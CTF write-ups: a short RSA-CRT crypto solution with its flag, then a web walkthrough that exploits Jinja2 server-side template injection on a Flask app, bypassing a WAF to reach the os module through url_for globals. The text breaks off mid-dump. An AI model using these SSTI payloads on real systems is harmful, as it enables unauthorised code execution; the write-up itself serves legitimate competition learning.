# Chop Suey (118 Points)Today I ate in a Chinese restaurant and got myself a fortune cookie. These things usually contain a note with a nice sentence or phrase, but mine had numbers in it instead! Can you help me find the meaning of the numbers?p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
### We can easily see that values named as dp and dq are used in the Chinese Remainder algorithm, which is used as the algorithm in many popular crypto libraries, due to it's efficiencyUsing the python code (resource :https://www.rootnetsec.com/picoctf-weird-rsa/) gave the Flag:noxCTF{W31c0m3_70_Ch1n470wn} |
# ▼▼▼Believer Case(Web:447points、39/123=31.7％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you?
http://185.168.131.123```
---
```GET / HTTP/1.1Host: 185.168.131.123```
↓
```Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? See this```
---
```GET /test HTTP/1.1Host: 185.168.131.123```
↓
```test```
The character input in the URL part is reflected in the response!!
---
## 【Identify the vulnerability】
I thought it was SSTI(Server Side Template Injection) by intuition
↓
```GET /{{7*7}} HTTP/1.1Host: 185.168.131.123```↓
49
↓
calculated!! **SSTI by Jinja2!!**
---
※Since it is displayed as Jinja 2 in the error message even below, it is confirmed
```GET /{{__selt__.__doc__}} HTTP/1.1Host: 185.168.131.123```
↓
```The default undefined type. This undefined type can be printed and iterated over, but every other access will raise an :exc:`jinja2.exceptions.UndefinedError`:
>>> foo = Undefined(name='foo') >>> str(foo) '' >>> not foo True >>> foo + 42 Traceback (most recent call last): ... jinja2.exceptions.UndefinedError: 'foo' is undefined```
↓
`jinja2`
---
## 【Identify WAF】
Please check my past TWCTF(Web:shrine) writeup for the attribute list under `self`
↓
`https://ctftime.org/writeup/10895`
---
```GET /{{self}} ⇒500エラー WAFGET /{{config}} ⇒500エラー WAFGET /{{request}}⇒500エラー WAFGET /{{g}} ⇒<flask.g of 'app'> Possible useGET /{{url_for}} ⇒<function url_for at 0x7fde0c3b7a28> Possible use
GET /{{[]}} ⇒500エラー WAFGET /{{''}} ⇒200OK Possible useGET /{{()}} ⇒200OK Possible use
```
---
## 【Look for flag via current_app from url_for attribute】
```GET /{{url_for.__globals__}}```
↓
```{'find_package': <function find_package at 0x7fde0c3b7e60>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'get_load_dotenv': <function get_load_dotenv at 0x7fde0c3b7848>, 'is_ip': <function is_ip at 0x7fde0c3c1578>, 'current_app': <Flask 'app'>, 'PY2': True, 'send_from_directory': <function send_from_directory at 0x7fde0c3b7cf8>, 'session': <NullSession {}>, 'get_flashed_messages': <function get_flashed_messages at 0x7fde0c3b7b90>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'posixpath': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'url_quote': <function url_quote at 0x7fde0cc09410>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'get_root_path': <function get_root_path at 0x7fde0c3b7d70>, '__package__': 'flask', 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7fde0c3b0e90>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7fde0c3b78c0>, 'total_seconds': <function total_seconds at 0x7fde0c3b7ed8>, 'get_env': <function get_env at 0x7fde0c3b7578>, '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: \xc2\xa9 2010 by the Pallets team.\n :license: BSD, see LICENSE for more details.\n', 'flash': <function flash at 0x7fde0c3b7b18>, 'mimetypes': <module 'mimetypes' from '/usr/lib/python2.7/mimetypes.pyc'>, 'adler32': <built-in function adler32>, 'get_template_attribute': <function get_template_attribute at 0x7fde0c3b7aa0>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7fde0c3a49d0>, '__builtins__': {'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type 'exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, 'isinstance': <built-in function isinstance>, 'copyright': Copyright (c) 2001-2016 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'NameError': <type 'exceptions.NameError'>, 'BytesWarning': <type 'exceptions.BytesWarning'>, 'dict': <type 'dict'>, 'input': <built-in function input>, 'oct': <built-in function oct>, 'bin': <built-in function bin>, 'SystemExit': <type 'exceptions.SystemExit'>, 'StandardError': <type 'exceptions.StandardError'>, 'format': <built-in function format>, 'repr': <built-in function repr>, 'sorted': <built-in function sorted>, 'False': False, 'RuntimeWarning': <type 'exceptions.RuntimeWarning'>, 'list': <type 'list'>, 'iter': <built-in function iter>, 'reload': <built-in function reload>, 'Warning': <type 'exceptions.Warning'>, '__package__': None, 'round': <built-in function round>, 'dir': <built-in function dir>, 'cmp': <built-in function cmp>, 'set': <type 'set'>, 'bytes': <type 'str'>, 'reduce': <built-in function reduce>, 'intern': <built-in function intern>, 'issubclass': <built-in function issubclass>, 'Ellipsis': Ellipsis, 'EOFError': <type 'exceptions.EOFError'>, 'locals': <built-in function locals>, 'BufferError': <type 'exceptions.BufferError'>, 'slice': <type 'slice'>, 'FloatingPointError': <type 'exceptions.FloatingPointError'>, 'sum': <built-in function sum>, 'getattr': <built-in function getattr>, 'abs': <built-in function abs>, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'print': <built-in function print>, 'True': True, 'FutureWarning': <type 'exceptions.FutureWarning'>, 'ImportWarning': <type 'exceptions.ImportWarning'>, 'None': None, 'hash': <built-in function hash>, 'ReferenceError': <type 'exceptions.ReferenceError'>, 'len': <built-in function len>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'frozenset': <type 'frozenset'>, '__name__': '__builtin__', 'ord': <built-in function ord>, 'super': <type 'super'>, 'TypeError': <type 'exceptions.TypeError'>, 'license': Type license() to see the full license text, 'KeyboardInterrupt': <type 'exceptions.KeyboardInterrupt'>, 'UserWarning': <type 'exceptions.UserWarning'>, 'filter': <built-in function filter>, 'range': <built-in function range>, 'staticmethod': <type 'staticmethod'>, 'SystemError': <type 'exceptions.SystemError'>, 'BaseException': <type 'exceptions.BaseException'>, 'pow': <built-in function pow>, 'RuntimeError': <type 'exceptions.RuntimeError'>, 'float': <type 'float'>, 'MemoryError': <type 'exceptions.MemoryError'>, 'StopIteration': <type 'exceptions.StopIteration'>, 'globals': <built-in function globals>, 'divmod': <built-in function divmod>, 'enumerate': <type 'enumerate'>, 'apply': <built-in function apply>, 'LookupError': <type 'exceptions.LookupError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'basestring': <type 'basestring'>, 'UnicodeError': <type 'exceptions.UnicodeError'>, 'zip': <built-in function zip>, 'hex': <built-in function hex>, 'long': <type 'long'>, 'next': <built-in function next>, 'ImportError': <type 'exceptions.ImportError'>, 'chr': <built-in function chr>, 'xrange': <type 'xrange'>, 'type': <type 'type'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'Exception': <type 'exceptions.Exception'>, 'tuple': <type 'tuple'>, 'UnicodeTranslateError': <type 'exceptions.UnicodeTranslateError'>, 'reversed': <type 'reversed'>, 'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>, 'IOError': <type 'exceptions.IOError'>, 'hasattr': <built-in function hasattr>, 'delattr': <built-in function delattr>, 'setattr': <built-in function setattr>, 'raw_input': <built-in function raw_input>, 'SyntaxWarning': <type 'exceptions.SyntaxWarning'>, 'compile': <built-in function compile>, 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, 'PendingDeprecationWarning': <type 'exceptions.PendingDeprecationWarning'>, 'file': <type 'file'>, 'EnvironmentError': <type 'exceptions.EnvironmentError'>, 'unichr': <built-in function unichr>, 'id': <built-in function id>, 'OSError': <type 'exceptions.OSError'>, 'DeprecationWarning': <type 'exceptions.DeprecationWarning'>, 'min': <built-in function min>, 'UnicodeWarning': <type 'exceptions.UnicodeWarning'>, 'execfile': <built-in function execfile>, 'any': <built-in function any>, 'complex': <type 'complex'>, 'bool': <type 'bool'>, 'ValueError': <type 'exceptions.ValueError'>, 'NotImplemented': NotImplemented, 'map': <built-in function map>, 'buffer': <type 'buffer'>, 'max': <built-in function max>, 'object': <type 'object'>, 'TabError': <type 'exceptions.TabError'>, 'callable': <built-in function callable>, 'ZeroDivisionError': <type 'exceptions.ZeroDivisionError'>, 'eval': <built-in function eval>, '__debug__': True, 'IndentationError': <type 'exceptions.IndentationError'>, 'AssertionError': <type 'exceptions.AssertionError'>, 'classmethod': <type 'classmethod'>, 'UnboundLocalError': <type 'exceptions.UnboundLocalError'>, 'NotImplementedError': <type 'exceptions.NotImplementedError'>, 'AttributeError': <type 'exceptions.AttributeError'>, 'OverflowError': <type 'exceptions.OverflowError'>}, 'text_type': <type 'unicode'>, '__file__': '/usr/local/lib/python2.7/dist-packages/flask/helpers.pyc', 'get_debug_flag': <function get_debug_flag at 0x7fde0c3b77d0>, 'RLock': <function RLock at 0x7fde0d293398>, 'safe_join': <function safe_join at 0x7fde0c3b7c80>, 'sys': <module 'sys' (built-in)>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'Range': <class 'werkzeug.datastructures.Range'>, 'stream_with_context': <function stream_with_context at 0x7fde0c3b7938>, '_os_alt_seps': [], '__name__': 'flask.helpers', '_missing': <object object at 0x7fde0fd7b200>, 'pkgutil': <module 'pkgutil' from '/usr/lib/python2.7/pkgutil.pyc'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'unicodedata': <module 'unicodedata' (built-in)>, 'wrap_file': <function wrap_file at 0x7fde0cc20050>, 'socket': <module 'socket' from '/usr/lib/python2.7/socket.pyc'>, 'update_wrapper': <function update_wrapper at 0x7fde0fd58b90>, 'make_response': <function make_response at 0x7fde0c3b79b0>, 'request': <Request 'http://185.168.131.123/{{url_for.__globals__}}' [GET]>, 'string_types': (<type 'str'>, <type 'unicode'>), 'message_flashed': <flask.signals._FakeSignal object at 0x7fde0c3bf2d0>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'send_file': <function send_file at 0x7fde0c3b7c08>, 'time': <built-in function time>, 'url_for': <function url_for at 0x7fde0c3b7a28>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7fde0c3b7de8>, 'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>}```
↓
`current_app` is discovered!!
---
```GET /{{url_for.__globals__['current_app']}} ⇒500エラー WAF```
---
```GET /{{url_for.__globals__.current_app}} ⇒<Flask 'app'>```
---
```GET /{{url_for.__globals__.current_app.__dict__}}```
↓
```{'subdomain_matching': False, 'error_handler_spec': {None: {}}, '_before_request_lock': <thread.lock object at 0x7fde0c62b730>, 'jinja_env': <flask.templating.Environment object at 0x7fde0c38fe50>, 'before_request_funcs': {}, 'teardown_appcontext_funcs': [], 'shell_context_processors': [], 'after_request_funcs': {}, 'cli': <flask.cli.AppGroup object at 0x7fde0c38f990>, '_blueprint_order': [], 'before_first_request_funcs': [], 'view_functions': {'blacklist_template': <function blacklist_template at 0x7fde0c38bb18>, 'index_template': <function index_template at 0x7fde0c38baa0>, 'static': <bound method Flask.send_static_file of <Flask 'app'>>}, 'instance_path': '/opt/app/instance', 'teardown_request_funcs': {}, 'logger': <logging.Logger object at 0x7fde0c38fb90>, 'url_value_preprocessors': {}, 'config': <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>, '_static_url_path': None, 'jinja_loader': <jinja2.loaders.FileSystemLoader object at 0x7fde0c270f90>, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7fde0c374ed8>]}, 'template_folder': 'templates', 'blueprints': {}, 'url_map': Map([<Rule '/' (HEAD, OPTIONS, GET) -> index_template>, <Rule '/static/<filename>' (HEAD, OPTIONS, GET) -> static>, <Rule '/<template>' (HEAD, OPTIONS, GET) -> blacklist_template>]), 'name': 'app', '_got_first_request': True, 'import_name': 'app', 'root_path': '/opt/app', '_static_folder': 'static', 'extensions': {}, 'url_default_functions': {}, 'url_build_error_handlers': []}```
---
```GET /{{url_for.__globals__.os.__dict__}}```
↓
```{'WTERMSIG': <built-in function WTERMSIG>, 'lseek': <built-in function lseek>, 'EX_IOERR': 74, 'EX_NOHOST': 68, 'seteuid': <built-in function seteuid>, 'pathsep': ':', 'execle': <function execle at 0x7fde0fdf4de8>, 'major': <built-in function major>, '_Environ': <class os._Environ at 0x7fde0fde8ef0>, 'fstatvfs': <built-in function fstatvfs>, 'uname': <built-in function uname>, 'kill': <built-in function kill>, 'urandom': <built-in function urandom>, 'execlp': <function execlp at 0x7fde0fdf4e60>, 'ST_RELATIME': 4096, 'getegid': <built-in function getegid>, 'getresgid': <built-in function getresgid>, 'EX_OSFILE': 72, 'umask': <built-in function umask>, 'linesep': '\n', 'ST_NODIRATIME': 2048, 'fchmod': <built-in function fchmod>, 'lchown': <built-in function lchown>, 'setgid': <built-in function setgid>, 'tmpnam': <built-in function tmpnam>, 'UserDict': <module 'UserDict' from '/usr/lib/python2.7/UserDict.pyc'>, 'devnull': '/dev/null', 'EX_NOINPUT': 66, 'makedev': <built-in function makedev>, 'fstat': <built-in function fstat>, 'getlogin': <built-in function getlogin>, 'EX_TEMPFAIL': 75, 'O_CREAT': 64, 'dup2': <built-in function dup2>, 'read': <built-in function read>, '__file__': '/usr/lib/python2.7/os.pyc', 'getppid': <built-in function getppid>, 'fchown': <built-in function fchown>, 'getloadavg': <built-in function getloadavg>, 'WIFSTOPPED': <built-in function WIFSTOPPED>, 'getpgrp': <built-in function getpgrp>, '_spawnvef': <function _spawnvef at 0x7fde0fdfd2a8>, 'TMP_MAX': 238328, 'utime': <built-in function utime>, 'execl': <function execl at 0x7fde0fdf4d70>, 'ST_SYNCHRONOUS': 16, 'F_OK': 0, '_make_stat_result': <function _make_stat_result at 0x7fde0fdfdd70>, 'ST_WRITE': 128, 'fsync': <built-in function fsync>, 'tcsetpgrp': <built-in function tcsetpgrp>, 'statvfs': <built-in function statvfs>, 'setreuid': <built-in function setreuid>, 'remove': <built-in function remove>, 'setegid': <built-in function setegid>, 'P_NOWAITO': 1, '_copy_reg': <module 'copy_reg' from '/usr/lib/python2.7/copy_reg.pyc'>, 'execv': <built-in function execv>, 'spawnv': <function spawnv at 0x7fde0fdfd320>, 'spawnvpe': <function spawnvpe at 0x7fde0fdfd488>, 'EX_OSERR': 71, 'ttyname': <built-in function ttyname>, 'pardir': '..', 'tempnam': <built-in function tempnam>, 'tmpfile': <built-in function tmpfile>, 'sep': '/', 'mkfifo': <built-in function mkfifo>, 'O_NOFOLLOW': 131072, 'defpath': ':/bin:/usr/bin', 'popen2': <function popen2 at 0x7fde0fdfd6e0>, 'stat': <built-in function stat>, 'O_APPEND': 1024, 'EX_CANTCREAT': 73, 'getresuid': <built-in function getresuid>, 'mknod': <built-in function mknod>, 'O_NOCTTY': 256, 'close': <built-in function close>, 'getgid': <built-in function getgid>, 'ctermid': <built-in function ctermid>, 'WIFSIGNALED': <built-in function WIFSIGNALED>, '_exists': <function _exists at 0x7fde0fdfd230>, 'killpg': <built-in function killpg>, '__all__': ['altsep', 'curdir', 'pardir', 'sep', 'extsep', 'pathsep', 'linesep', 'defpath', 'name', 'path', 'devnull', 'SEEK_SET', 'SEEK_CUR', 'SEEK_END', 'EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_OK', 'NGROUPS_MAX', 'O_APPEND', 'O_ASYNC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYNC', 'O_TRUNC', 'O_WRONLY', 'R_OK', 'ST_APPEND', 'ST_MANDLOCK', 'ST_NOATIME', 'ST_NODEV', 'ST_NODIRATIME', 'ST_NOEXEC', 'ST_NOSUID', 'ST_RDONLY', 'ST_RELATIME', 'ST_SYNCHRONOUS', 'ST_WRITE', 'TMP_MAX', 'WCONTINUED', 'WCOREDUMP', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'X_OK', 'abort', 'access', 'chdir', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'ctermid', 'dup', 'dup2', 'environ', 'error', 'execv', 'execve', 'fchdir', 'fchmod', 'fchown', 'fdatasync', 'fdopen', 'fork', 'forkpty', 'fpathconf', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'getcwd', 'getcwdu', 'getegid', 'geteuid', 'getgid', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getresgid', 'getresuid', 'getsid', 'getuid', 'initgroups', 'isatty', 'kill', 'killpg', 'lchown', 'link', 'listdir', 'lseek', 'lstat', 'major', 'makedev', 'minor', 'mkdir', 'mkfifo', 'mknod', 'nice', 'open', 'openpty', 'pathconf', 'pathconf_names', 'pipe', 'popen', 'putenv', 'read', 'readlink', 'remove', 'rename', 'rmdir', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setregid', 'setresgid', 'setresuid', 'setreuid', 'setsid', 'setuid', 'stat', 'stat_float_times', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'symlink', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'tempnam', 'times', 'tmpfile', 'tmpnam', 'ttyname', 'umask', 'uname', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitpid', 'write', 'makedirs', 'removedirs', 'renames', 'walk', 'execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe', 'getenv', 'spawnv', 'spawnve', 'spawnl', 'spawnle', 'spawnvp', 'spawnvpe', 'spawnlp', 'spawnlpe', 'popen2', 'popen3', 'popen4'], 'ST_APPEND': 256, 'makedirs': <function makedirs at 0x7fde0fdf4b90>, 'setpgid': <built-in function setpgid>, 'getcwdu': <built-in function getcwdu>, 'WNOHANG': 1, 'access': <built-in function access>, 'setsid': <built-in function setsid>, 'NGROUPS_MAX': 65536, 'WIFCONTINUED': <built-in function WIFCONTINUED>, 'O_RDWR': 2, 'P_WAIT': 0, 'stat_result': <type 'posix.stat_result'>, 'walk': <function walk at 0x7fde0fdf4cf8>, 'lstat': <built-in function lstat>, '__builtins__': {'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type 'exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, 'isinstance': <built-in function isinstance>, 'copyright': Copyright (c) 2001-2016 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'NameError': <type 'exceptions.NameError'>, 'BytesWarning': <type 'exceptions.BytesWarning'>, 'dict': <type 'dict'>, 'input': <built-in function input>, 'oct': <built-in function oct>, 'bin': <built-in function bin>, 'SystemExit': <type 'exceptions.SystemExit'>, 'StandardError': <type 'exceptions.StandardError'>, 'format': <built-in function format>, 'repr': <built-in function repr>, 'sorted': <built-in function sorted>, 'False': False, 'RuntimeWarning': <type 'exceptions.RuntimeWarning'>, 'list': <type 'list'>, 'iter': <built-in function iter>, 'reload': <built-in function reload>, 'Warning': <type 'exceptions.Warning'>, '__package__': None, 'round': <built-in function round>, 'dir': <built-in function dir>, 'cmp': <built-in function cmp>, 'set': <type 'set'>, 'bytes': <type 'str'>, 'reduce': <built-in function reduce>, 'intern': <built-in function intern>, 'issubclass': <built-in function issubclass>, 'Ellipsis': Ellipsis, 'EOFError': <type 'exceptions.EOFError'>, 'locals': <built-in function locals>, 'BufferError': <type 'exceptions.BufferError'>, 'slice': <type 'slice'>, 'FloatingPointError': <type 'exceptions.FloatingPointError'>, 'sum': <built-in function sum>, 'getattr': <built-in function getattr>, 'abs': <built-in function abs>, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'print': <built-in function print>, 'True': True, 'FutureWarning': <type 'exceptions.FutureWarning'>, 'ImportWarning': <type 'exceptions.ImportWarning'>, 'None': None, 'hash': <built-in function hash>, 'ReferenceError': <type 'exceptions.ReferenceError'>, 'len': <built-in function len>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'frozenset': <type 'frozenset'>, '__name__': '__builtin__', 'ord': <built-in function ord>, 'super': <type 'super'>, 'TypeError': <type 'exceptions.TypeError'>, 'license': Type license() to see the full license text, 'KeyboardInterrupt': <type 'exceptions.KeyboardInterrupt'>, 'UserWarning': <type 'exceptions.UserWarning'>, 'filter': <built-in function filter>, 'range': <built-in function range>, 'staticmethod': <type 'staticmethod'>, 'SystemError': <type 'exceptions.SystemError'>, 'BaseException': <type 'exceptions.BaseException'>, 'pow': <built-in function pow>, 'RuntimeError': <type 'exceptions.RuntimeError'>, 'float': <type 'float'>, 'MemoryError': <type 'exceptions.MemoryError'>, 'StopIteration': <type 'exceptions.StopIteration'>, 'globals': <built-in function globals>, 'divmod': <built-in function divmod>, 'enumerate': <type 'enumerate'>, 'apply': <built-in function apply>, 'LookupError': <type 'exceptions.LookupError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'basestring': <type 'basestring'>, 'UnicodeError': <type 'exceptions.UnicodeError'>, 'zip': <built-in function zip>, 'hex': <built-in function hex>, 'long': <type 'long'>, 'next': <built-in function next>, 'ImportError': <type 'exceptions.ImportError'>, 'chr': <built-in function chr>, 'xrange': <type 'xrange'>, 'type': <type 'type'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'Exception': <type 'exceptions.Exception'>, 'tuple': <type 'tuple'>, 'UnicodeTranslateError': <type 'exceptions.UnicodeTranslateError'>, 'reversed': <type 'reversed'>, 'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>, 'IOError': <type 'exceptions.IOError'>, 'hasattr': <built-in function hasattr>, 'delattr': <built-in function delattr>, 'setattr': <built-in function setattr>, 'raw_input': <built-in function raw_input>, 'SyntaxWarning': <type 'exceptions.SyntaxWarning'>, 'compile': <built-in function compile>, 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, 'PendingDeprecationWarning': <type 'exceptions.PendingDeprecationWarning'>, 'file': <type 'file'>, 'EnvironmentError': <type 'exceptions.EnvironmentError'>, 'unichr': <built-in function unichr>, 'id': <built-in function id>, 'OSError': <type 'exceptions.OSError'>, 'DeprecationWarning': <type 'exceptions.DeprecationWarning'>, 'min': <built-in function min>, 'UnicodeWarning': <type 'exceptions.UnicodeWarning'>, 'execfile': <built-in function execfile>, 'any': <built-in function any>, 'complex': <type 'complex'>, 'bool': <type 'bool'>, 'ValueError': <type 'exceptions.ValueError'>, 'NotImplemented': NotImplemented, 'map': <built-in function map>, 'buffer': <type 'buffer'>, 'max': <built-in function max>, 'object': <type 'object'>, 'TabError': <type 'exceptions.TabError'>, 'callable': <built-in function callable>, 'ZeroDivisionError': <type 'exceptions.ZeroDivisionError'>, 'eval': <built-in function eval>, '__debug__': True, 'IndentationError': <type 'exceptions.IndentationError'>, 'AssertionError': <type 'exceptions.AssertionError'>, 'classmethod': <type 'classmethod'>, 'UnboundLocalError': <type 'exceptions.UnboundLocalError'>, 'NotImplementedError': <type 'exceptions.NotImplementedError'>, 'AttributeError': <type 'exceptions.AttributeError'>, 'OverflowError': <type 'exceptions.OverflowError'>}, 'getcwd': <built-in function getcwd>, 'setresgid': <built-in function setresgid>, 'O_NOATIME': 262144, 'EX_SOFTWARE': 70, 'symlink': <built-in function symlink>, 'stat_float_times': <built-in function stat_float_times>, 'extsep': '.', '__name__': 'os', 'O_TRUNC': 512, 'getsid': <built-in function getsid>, 'wait': <built-in function wait>, 'O_DIRECTORY': 65536, 'WCONTINUED': 8, 'SEEK_END': 2, 'ST_NOEXEC': 8, 'openpty': <built-in function openpty>, 'initgroups': <built-in function initgroups>, 'popen': <built-in function popen>, 'times': <built-in function times>, 'P_NOWAIT': 1, 'removedirs': <function removedirs at 0x7fde0fdf4c08>, '_pickle_statvfs_result': <function _pickle_statvfs_result at 0x7fde0fdfded8>, 'renames': <function renames at 0x7fde0fdf4c80>, 'readlink': <built-in function readlink>, '_exit': <built-in function _exit>, 'execlpe': <function execlpe at 0x7fde0fdf4ed8>, 'setregid': <built-in function setregid>, 'O_DSYNC': 4096, 'rename': <built-in function rename>, 'O_RSYNC': 1052672, 'fchdir': <built-in function fchdir>, 'mkdir': <built-in function mkdir>, '_get_exports_list': <function _get_exports_list at 0x7fde0fe246e0>, 'ST_NOSUID': 2, 'WCOREDUMP': <built-in function WCOREDUMP>, 'chmod': <built-in function chmod>, 'SEEK_CUR': 1, 'getpgid': <built-in function getpgid>, 'popen4': <function popen4 at 0x7fde0fdfd7d0>, 'O_ASYNC': 8192, '_execvpe': <function _execvpe at 0x7fde0fdf20c8>, 'open': <built-in function open>, 'putenv': <built-in function putenv>, 'fdopen': <built-in function fdopen>, 'errno': <module 'errno' (built-in)>, 'WIFEXITED': <built-in function WIFEXITED>, 'system': <built-in function system>, 'ST_MANDLOCK': 64, 'name': 'posix', 'rmdir': <built-in function rmdir>, 'O_WRONLY': 1, 'dup': <built-in function dup>, 'fdatasync': <built-in function fdatasync>, '__doc__': "OS routines for NT or Posix depending on what system we're on.\n\nThis exports:\n - all functions from posix, nt, os2, or ce, e.g. unlink, stat, etc.\n - os.path is one of the modules posixpath, or ntpath\n - os.name is 'posix', 'nt', 'os2', 'ce' or 'riscos'\n - os.curdir is a string representing the current directory ('.' or ':')\n - os.pardir is a string representing the parent directory ('..' or '::')\n - os.sep is the (or a most common) pathname separator ('/' or ':' or '\\\\')\n - os.extsep is the extension separator ('.' or '/')\n - os.altsep is the alternate pathname separator (None or '/')\n - os.pathsep is the component separator used in $PATH etc\n - os.linesep is the line separator in text files ('\\r' or '\\n' or '\\r\\n')\n - os.defpath is the default search path for executables\n - os.devnull is the file path of 